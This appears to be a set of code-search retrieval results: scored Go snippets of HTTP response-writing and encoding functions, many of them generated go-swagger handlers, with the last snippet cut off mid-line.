[ { "docid": "7ed46767ebeeb72e4ed57e03e0d77873", "score": "0.731104", "text": "func ResponseWriterEncode(w http.ResponseWriter, data *Response) error {\n\tw.Header().Set(\"Content-Type\", mimetype_pb)\n\tb, err := proto.Marshal(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.Write(b)\n\treturn nil\n}", "title": "" }, { "docid": "0eff427dfeaf399a1cf62bf37183b61c", "score": "0.7049403", "text": "func (s *serverRequest) WriteResponse(w http.ResponseWriter, reply interface{}) {\n\twithCodec(func(c *Codec) error {\n\t\tw.Header().Set(\"Content-Type\", \"text/xml; charset=utf-8\")\n\t\tzw := newCompressor(w, s.header)\n\t\tc.writeResponse(zw, reply)\n\t\tif closer, _ := zw.(*compressWriter); closer != nil {\n\t\t\tcloser.Close()\n\t\t}\n\t\treturn nil\n\t})\n}", "title": "" }, { "docid": "22a58ff612c58638d28a325466004086", "score": "0.68534684", "text": "func (r *ServiceRouter) WriteResponse(encoderFactory EncoderFactory, response interface{}, request *http.Request, responseWriter http.ResponseWriter) error {\n\trequestContentType := request.Header.Get(\"Content-Type\")\n\tresponseContentType := getContentTypeOrJSONContentType(requestContentType)\n\tencoder := encoderFactory.Create(responseWriter)\n\tresponseWriter.Header().Set(\"Content-Type\", responseContentType)\n\terr := encoder.Encode(response)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to encode response %v, due to %v\", response, err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "f43f0a4c4a9b989c90547a42a1570b13", "score": "0.6710831", "text": "func encodeResponse(w http.ResponseWriter, r *http.Request, v interface{}) error {\n\tcodec := codecForRequest(r)\n\tdata, err := codec.Marshal(v)\n\tif err != nil {\n\t\treturn err\n\t}\n\tw.Header().Set(contentTypeHeader, contentType(codec.Name()))\n\t_, _ = w.Write(data)\n\treturn nil\n}", "title": "" }, { "docid": "f7d477c2a48b3e38e9a70ac943803644", "score": "0.6661756", "text": "func (r codecRequest) WriteResponse(w http.ResponseWriter, x interface{}) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\trep := reply{\n\t\tCode: 200,\n\t\tData: x,\n\t}\n\tenc := json.NewEncoder(w)\n\tenc.Encode(&rep)\n}", "title": "" }, { "docid": "aca2cc87482eb8efbae5898bb0dfff12", "score": "0.6566363", "text": "func (o *GetCharactersCharacterIDPlanetsPlanetIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a039840fde770f512b93ed9aacf91fff", "score": "0.65293574", "text": "func WriteResponse(res http.ResponseWriter, status int, entity interface{}) {\n\tres.WriteHeader(status)\n\tif err := json.NewEncoder(res).Encode(entity); err != nil {\n\t\tlog.WithError(err).Error(\"unable to send response, the entity could not be encoded\")\n\t}\n}", "title": "" }, { "docid": "74fc8182b8350813f9abe8e7bb3a5c4f", "score": "0.6517851", "text": "func (o *GetMarketsRegionIDHistoryOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.GetMarketsRegionIDHistoryOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "17f6b436c4d32a7679e3a3b2093b257b", "score": "0.64973474", "text": "func ResponseWriter(w http.ResponseWriter, status int, message string) {\n\tw.Header().Set(\"Content-type\", \"Application/json\")\n\tw.WriteHeader(status)\n\tfmt.Fprintf(w, message)\n}", "title": "" }, { "docid": "04eabe961580b074953f64e5e0020e98", "score": "0.6488067", "text": "func (r *Response) Encode(w io.Writer) (err error) {\n\treturn json.NewEncoder(w).Encode(r)\n}", "title": "" }, { "docid": "97228e32b911175bfa07c20906f62af7", "score": "0.6484028", "text": "func (o *GetUniverseStructuresStructureIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c176d727b32a54b4103024ebb413f9a5", "score": "0.6480196", "text": "func (o *GetUniversePlanetsPlanetIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "97ee3687ce31cecb416d8b12dea06dca", "score": "0.6479003", "text": "func WriteResponse(w http.ResponseWriter, code int, data interface{}) {\n\tj, _ := json.Marshal(data)\n\tw.WriteHeader(code)\n\tw.Write(j)\n}", "title": "" }, { "docid": "fb72c3b19148eacbd8deb11cb48670fa", "score": "0.64644384", "text": "func WriteResponse(responseWriter http.ResponseWriter, response interface{}, err error) {\r\n\tvar sendString string\r\n\tif err != nil {\r\n\t\tsendString = UnexpectedErrorToJson(err)\r\n\t} else {\r\n\t\tret, err := json.Marshal(&response)\r\n\t\tif err != nil {\r\n\t\t\tsendString = UnexpectedErrorToJson(err)\r\n\t\t} else {\r\n\t\t\tsendString = string(ret) // yeah!\r\n\t\t}\r\n\t}\r\n\tfmt.Fprintf(responseWriter, sendString)\r\n}", "title": "" }, { "docid": "48ef1019aef74e3342b7a61626f9f4ba", "score": "0.64633536", "text": "func (t *MwMediator) WriteResponse(handler func(w http.ResponseWriter, r *http.Request)) func(w http.ResponseWriter, r *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tt.Log.Handle(w, r, nil, \"begin\", \"MwMediator\", \"WriteResponse\")\n\n\t\tjsonResBody := t.embed.WriteResponse()\n\n\t\t{\n\t\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\t\tw.WriteHeader(200)\n\t\t\tencErr := json.NewEncoder(w).Encode(jsonResBody)\n\n\t\t\tif encErr != nil {\n\n\t\t\t\tt.Log.Handle(w, r, encErr, \"res\", \"json\", \"encode\", \"error\", \"MwMediator\", \"WriteResponse\")\n\t\t\t\thttp.Error(w, encErr.Error(), http.StatusInternalServerError)\n\n\t\t\t\treturn\n\t\t\t}\n\n\t\t}\n\n\t\tt.Log.Handle(w, r, nil, \"end\", \"MwMediator\", \"WriteResponse\")\n\n\t}\n}", "title": "" }, { "docid": "71585df58b6656f6b33895269e55b3ed", "score": "0.643834", "text": "func Write(w http.ResponseWriter, response Response) error {\n\tw.WriteHeader(response.HTTPStatus())\n\tbody, err := response.Marshal()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error marshaling response\")\n\t}\n\tw.Write(body)\n\treturn nil\n}", "title": "" }, { "docid": "e43ef6751eaf2f436f83f781ee10523d", "score": "0.6427282", "text": "func WriteResponse(w http.ResponseWriter, data interface{}, code int) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(code)\n\tj, _ := json.Marshal(data)\n\tw.Write(j)\n}", "title": "" }, { "docid": "bda1cd8cd533e77d1f7c820330a86ada", "score": "0.6426964", "text": "func (t *getWarehousesTransport) EncodeResponse(ctx *fasthttp.RequestCtx, r *fasthttp.Response, pets map[string]v1.Detail) (err error) {\n\n\tr.Header.Set(\"Content-Type\", \"application/json\")\n\tvar theResponse getWarehousesResponse\n\n\ttheResponse = pets\n\n\tbody, err := theResponse.MarshalJSON()\n\tif err != nil {\n\t\terr = t.encodeJSONErrorCreator(err)\n\t\treturn\n\t}\n\tr.SetBody(body)\n\n\tr.Header.SetStatusCode(http.StatusOK)\n\treturn\n}", "title": "" }, { "docid": "4e91b2fdfe5de19e2d59f61e8d46d8c0", "score": "0.6414269", "text": "func (o *GetCharactersCharacterIDCalendarEventIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "814687f613660f5cdbfddc22ccffb0bb", "score": "0.6409153", "text": "func (w EncoderResponseWriter) Encode(v interface{}) {\n\tw.Header().Set(\"Content-Type\", w.contentType)\n\n\tswitch err := v.(type) {\n\tcase Error:\n\t\tw.WriteHeader(err.Code)\n\tcase error:\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t}\n\n\tif err := w.enc.Encode(v); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "5f54a58752c5b9126e950514c9674def", "score": "0.6400406", "text": "func WriteResponse(w http.ResponseWriter, httpStatus int, data model.GlobalResponse) {\n\tdata.Timestamp = time.Now()\n\tjs, err := json.MarshalIndent(data, \"\", \" \")\n\tif err != nil {\n\t\tlog.Error(\"Could not marshal http write data: \", data)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Set response content type\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.WriteHeader(httpStatus)\n\tw.Write(js)\n\treturn\n}", "title": "" }, { "docid": "e08aabc5108073b1ed6c0310a66b6594", "score": "0.63787293", "text": "func (o *ReplaceServerTemplateOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "29f82b16bd2f920cf3b2840180d6695a", "score": "0.6377274", "text": "func (o *GetUniversePlanetsPlanetIDInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "534147e17f2eb635e1951d46c8c116ab", "score": "0.63713855", "text": "func EncodeResponse(ctx *Context, content interface{}) (interface{}, error) {\n\tvar compressed bytes.Buffer\n\tvar output io.WriteCloser\n\n\tif len(ctx.Request.Header[\"Accept-Encoding\"]) > 0 {\n\t\tfor _, opt := range ctx.Request.Header[\"Accept-Encoding\"] {\n\t\t\tif strings.Index(opt, \"gzip\") >= 0 {\n\t\t\t\toutput = gzip.NewWriter(&compressed)\n\t\t\t\tctx.SetHeader(\"Content-Encoding\", \"gzip\", true)\n\t\t\t} else if strings.Index(opt, \"deflate\") >= 0 {\n\t\t\t\toutput = zlib.NewWriter(&compressed)\n\t\t\t\tctx.SetHeader(\"Content-Encoding\", \"deflate\", true)\n\t\t\t}\n\t\t}\n\t}\n\n\tif output != nil {\n\t\t_, err := output.Write(content.([]byte))\n\t\tif err != nil {\n\t\t\tctx.Server.Logger.Printf(\"EncodeResponse write failed: %s\", err)\n\t\t\treturn content, &WebError{500, err.Error()}\n\t\t}\n\t\terr = output.Close()\n\t\treturn compressed.Bytes(), nil\n\t}\n\n\treturn content, nil\n}", "title": "" }, { "docid": "e56a235dcf59cfbe0841d7f5aef638ee", "score": "0.6370126", "text": "func encodeResponse(ctx context.Context, w http.ResponseWriter, response interface{}) error {\n\tif xmlResponseContentType(ctx) {\n\t\tw.Header().Set(\"Content-Type\", \"application/xml; charset=utf-8\")\n\t\treturn xml.NewEncoder(w).Encode(response)\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\t\treturn json.NewEncoder(w).Encode(response)\n\t}\n}", "title": "" }, { "docid": "f0f788cecf457bd619d4ddcd467a8eb2", "score": "0.63668734", "text": "func (o *GetCharactersCharacterIDPlanetsPlanetIDInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c51af5128fc092e35ddf2ab1d8bd384b", "score": "0.63579947", "text": "func WriteResponse(rw http.ResponseWriter, res ferry.Response, contentType string) {\n\tif contentType != \"\" {\n\t\trw.Header().Set(\"Content-Type\", contentType)\n\t}\n\tstatus, payload := res.Response()\n\trw.WriteHeader(status)\n\trw.Write([]byte(payload))\n}", "title": "" }, { "docid": "7f7fda40ce7b4b74237155af2824f09b", "score": "0.63398015", "text": "func (t *uploadDocumentTransport) EncodeResponse(ctx *fasthttp.RequestCtx, r *fasthttp.Response) (err error) {\n\n\tr.Header.Set(\"Content-Type\", \"application/json\")\n\n\tr.Header.SetStatusCode(201)\n\treturn\n}", "title": "" }, { "docid": "c60f23a4bb3818fc3a6e11df8926bd7e", "score": "0.6336431", "text": "func (m *ResponseStatus) Serialize(writer i878a80d2330e89d26896388a3f487eef27b0a0e6c010c493bf80be1452208f91.SerializationWriter)(error) {\n {\n err := writer.WriteStringValue(\"@odata.type\", m.GetOdataType())\n if err != nil {\n return err\n }\n }\n if m.GetResponse() != nil {\n cast := (*m.GetResponse()).String()\n err := writer.WriteStringValue(\"response\", &cast)\n if err != nil {\n return err\n }\n }\n {\n err := writer.WriteTimeValue(\"time\", m.GetTime())\n if err != nil {\n return err\n }\n }\n {\n err := writer.WriteAdditionalData(m.GetAdditionalData())\n if err != nil {\n return err\n }\n }\n return nil\n}", "title": "" }, { "docid": "9e835526803ebea2ee46ae440b9b3a15", "score": "0.6332856", "text": "func (r *Response) writeResponse(code int, v interface{}) error {\n\tif len(r.Headers) > 0 {\n\t\tr.writeHeaders()\n\t}\n\n\tr.writeStatusCode(code)\n\n\tif v != nil {\n\t\tbody, err := json.Marshal(v)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif _, err := r.Writer.Write(body); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "6f68caacbe63583ece03592722615a9a", "score": "0.6314784", "text": "func encodeResponse(status int) func(_ context.Context, w http.ResponseWriter, response interface{}) error {\n\treturn func(_ context.Context, w http.ResponseWriter, response interface{}) error {\n\t\tw.WriteHeader(status)\n\n\t\treturn json.NewEncoder(w).Encode(response)\n\t}\n}", "title": "" }, { "docid": "9f1c1edff523ad3b953dac5d45eba24f", "score": "0.6313234", "text": "func (r *Response) Write(w io.Writer) error {\n\n\t// RequestMethod should be upper-case\n\tif r.Request != nil {\n\t\tr.Request.Method = strings.ToUpper(r.Request.Method)\n\t}\n\n\t// Status line\n\ttext := r.Status\n\tif text == \"\" {\n\t\tvar ok bool\n\t\ttext, ok = statusText[r.StatusCode]\n\t\tif !ok {\n\t\t\ttext = \"status code \" + strconv.Itoa(r.StatusCode)\n\t\t}\n\t}\n\tio.WriteString(w, \"HTTP/\"+strconv.Itoa(r.Protocol.Major)+\".\")\n\tio.WriteString(w, strconv.Itoa(r.Protocol.Minor)+\" \")\n\tio.WriteString(w, strconv.Itoa(r.StatusCode)+\" \"+text+\"\\r\\n\")\n\n\t// Process Body,ContentLength,Close,Trailer\n\ttw, err := newTransferWriter(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = tw.WriteHeader(w)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Rest of header\n\terr = r.Headers.WriteSubset(w, respExcludeHeader)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// End-of-header\n\tio.WriteString(w, \"\\r\\n\")\n\n\t// Write body and trailer\n\terr = tw.WriteBody(w)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Success\n\treturn nil\n}", "title": "" }, { "docid": "af5420d7101e9f6a65eb87b5e943e118", "score": "0.6310486", "text": "func (o *RegsitrarEntradaCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(201)\n}", "title": "" }, { "docid": "3ecde744e1b398c5d36386f05c8fb649", "score": "0.6307391", "text": "func writeResponse(w http.ResponseWriter, contentType string, encode bool, obj interface{}) {\n\tif contentType != \"\" {\n\t\tw.Header().Set(contentTypeHeader, contentType)\n\t}\n\n\tvar body []byte\n\tvar err error = errInternal\n\n\tswitch t := obj.(type) {\n\tcase []*x509.Certificate:\n\t\tbody, err = encodePKCS7CertsOnly(t)\n\n\tcase *x509.Certificate:\n\t\tbody, err = encodePKCS7CertsOnly([]*x509.Certificate{t})\n\n\tcase CSRAttrs:\n\t\tbody, err = t.Marshal()\n\n\tcase []byte:\n\t\tbody, err = t, nil\n\t}\n\n\tif err != nil {\n\t\terrInternal.Write(w)\n\t\treturn\n\t}\n\n\tif encode {\n\t\tw.Header().Set(transferEncodingHeader, encodingTypeBase64)\n\t\tbody = base64Encode(body)\n\t}\n\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(body)\n}", "title": "" }, { "docid": "fbb890e78880fb52fdf57e3d5decff26", "score": "0.6306232", "text": "func writeResponse(w http.ResponseWriter, r *Request, response interface{}, e error) (err error) {\n\n\t// Dump meta-data headers\n\tw.Header().Set(HeaderProcessingTime, fmt.Sprintf(\"%.03f\", time.Since(r.StartTime).Seconds()*1000))\n\tw.Header().Set(HeaderRequestId, r.RequestId)\n\n\t// Dump Error if the request failed\n\tif e != nil {\n\t\tcode, message := httpError(e)\n\t\thttp.Error(w, message, code)\n\t\treturn\n\t}\n\n\tvar buf []byte\n\tbuf, err = json.Marshal(response)\n\tif err == nil {\n\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\n\t\tif r.Callback != \"\" {\n\t\t\tif _, err = fmt.Fprintf(w, \"%s(\", r.Callback); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif _, err = w.Write(buf); err != nil {\n\t\t\treturn\n\t\t}\n\n\t\tif r.Callback != \"\" {\n\t\t\tif _, err = fmt.Fprintln(w, \");\"); err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "5828db39989279f2115795b7bd4557aa", "score": "0.6303412", "text": "func EncodeResponse(_ context.Context, w http.ResponseWriter, response interface{}) error {\n\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\")\n\treturn json.NewEncoder(w).Encode(response)\n}", "title": "" }, { "docid": "a60512b033105133392ae7caa2dd757b", "score": "0.62939906", "text": "func (o *GetMarketsRegionIDHistoryInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4da401e9ca37974e9feff0da8942bb49", "score": "0.6292627", "text": "func (o *CreateSITExtensionCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d3bc680c5c837712081cd2b96cebfc5b", "score": "0.62911594", "text": "func (t *getFileTransport) EncodeResponse(ctx *fasthttp.RequestCtx, r *fasthttp.Response, data []byte, fileName string) (err error) {\n\n\tr.Header.Set(\"Content-Type\", \"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet\")\n\n\tr.SetBody(data)\n\tif len(fileName) > 0 {\n\t\tr.Header.Set(\"Content-Disposition\", \"attachment; filename=\\\"\"+fileName+\"\\\"\")\n\t}\n\tr.Header.SetStatusCode(http.StatusOK)\n\treturn\n}", "title": "" }, { "docid": "9623fead8dbe717d52a6f56953654a01", "score": "0.62881505", "text": "func EncodeResponse(rw http.ResponseWriter, statusCode int, data interface{}) error {\n\trw.Header().Set(\"Content-Type\", \"application/json\")\n\trw.WriteHeader(statusCode)\n\treturn json.NewEncoder(rw).Encode(data)\n}", "title": "" }, { "docid": "f9c225e6f15de473ffb23a9f957dbf8e", "score": "0.6280481", "text": "func (o *StartSpoeTransactionDefault) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Configuration-Version\n\n\tconfigurationVersion := o.ConfigurationVersion\n\tif configurationVersion != \"\" {\n\t\trw.Header().Set(\"Configuration-Version\", configurationVersion)\n\t}\n\n\trw.WriteHeader(o._statusCode)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7e6fcf9d0d0d0cec163014ca34799e76", "score": "0.6276703", "text": "func (o *GetMarketsGroupsMarketGroupIDOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Content-Language\n\n\tcontentLanguage := o.ContentLanguage\n\tif contentLanguage != \"\" {\n\t\trw.Header().Set(\"Content-Language\", contentLanguage)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "afa0abb1bdf7b7a7ac92e4a033fc4aa8", "score": "0.62703687", "text": "func EncodeSecureResponse(encoder func(context.Context, http.ResponseWriter) goahttp.Encoder) func(context.Context, http.ResponseWriter, interface{}) error {\n\treturn func(ctx context.Context, w http.ResponseWriter, v interface{}) error {\n\t\tres := v.(string)\n\t\tenc := encoder(ctx, w)\n\t\tbody := res\n\t\tw.WriteHeader(http.StatusOK)\n\t\treturn enc.Encode(body)\n\t}\n}", "title": "" }, { "docid": "de3a46f760cdc3d7743e007a50cf6d80", "score": "0.6269095", "text": "func (o *BySubjectOK) WriteResponse(rw http.ResponseWriter, producer httpkit.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "3d23cb60047a7a0a46bbc5457ad9331b", "score": "0.6268275", "text": "func WriteResponse(handler string, w http.ResponseWriter, v []byte, ct string, status int) {\n\t// Header must be set before status is written\n\tif len(v) > 0 {\n\t\tw.Header().Set(\"Content-Type\", ct)\n\t}\n\n\t// Header and status must be written before content is written\n\tw.WriteHeader(status)\n\tif len(v) > 0 {\n\t\tif _, err := w.Write(v); err != nil {\n\t\t\tLogAndReturnError(handler, http.StatusInternalServerError, err, w)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "97424620c3698bfb174a70ade05ba9f1", "score": "0.62670434", "text": "func (proxy SingleProxy) Encode(response Response) {\n\tproxy.encoder.Encode(response)\n}", "title": "" }, { "docid": "ef135aeefbacf3fd4b5a24cad2653294", "score": "0.6265869", "text": "func (o *StartSpoeTransactionCreated) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(201)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "f18c08592413c3cf483092cc9ae44d60", "score": "0.6264017", "text": "func writeResponse(w http.ResponseWriter, response interface{}) error {\n\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tjData, err := json.Marshal(response)\n\tif err != nil {\n\t\tlog.Printf(\"JSON marshalling for HTTP response failed. %s\", err)\n\t\treturn err\n\t}\n\n\tif _, err = w.Write(jData); err != nil {\n\t\tlog.Printf(\"Could not write response to HTTP ResponseWriter. %s\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "547ee0a583d6565da7939bb6f845d727", "score": "0.6257134", "text": "func (o *GetTeamsFromQuestionInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.Header().Del(runtime.HeaderContentType) //Remove Content-Type on empty responses\n\n\trw.WriteHeader(500)\n}", "title": "" }, { "docid": "de3559bfc11fdba0202c53f873c4e48c", "score": "0.62563145", "text": "func (o *PostCharactersAffiliationOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\t// response header Cache-Control\n\n\tcacheControl := o.CacheControl\n\tif cacheControl != \"\" {\n\t\trw.Header().Set(\"Cache-Control\", cacheControl)\n\t}\n\n\t// response header Expires\n\n\texpires := o.Expires\n\tif expires != \"\" {\n\t\trw.Header().Set(\"Expires\", expires)\n\t}\n\n\t// response header Last-Modified\n\n\tlastModified := o.LastModified\n\tif lastModified != \"\" {\n\t\trw.Header().Set(\"Last-Modified\", lastModified)\n\t}\n\n\trw.WriteHeader(200)\n\tpayload := o.Payload\n\tif payload == nil {\n\t\tpayload = make(models.PostCharactersAffiliationOKBody, 0, 50)\n\t}\n\n\tif err := producer.Produce(rw, payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "8107a712a42d81f411df1867f2491670", "score": "0.6252991", "text": "func (o *GetSearchCodeOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d6a6dd44285b6f2b42c6948f172d245f", "score": "0.6247241", "text": "func (o *GetCharactersCharacterIDCalendarEventIDInternalServerError) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(500)\n\tif o.Payload != nil {\n\t\tpayload := o.Payload\n\t\tif err := producer.Produce(rw, payload); err != nil {\n\t\t\tpanic(err) // let the recovery middleware deal with this\n\t\t}\n\t}\n}", "title": "" }, { "docid": "5d9b31e0c0c3531a82b262782ae57bc2", "score": "0.6246934", "text": "func (o *GetVmsOK) WriteResponse(rw http.ResponseWriter, producer runtime.Producer) {\n\n\trw.WriteHeader(200)\n\tif err := producer.Produce(rw, o.Payload); err != nil {\n\t\tpanic(err) // let the recovery middleware deal with this\n\t}\n\n}", "title": "" }, { "docid": "cfd55b0299264c74848eaf1f6b447d60", "score": "0.6245967", "text": "func WriteResponse(w http.ResponseWriter, status int, payload 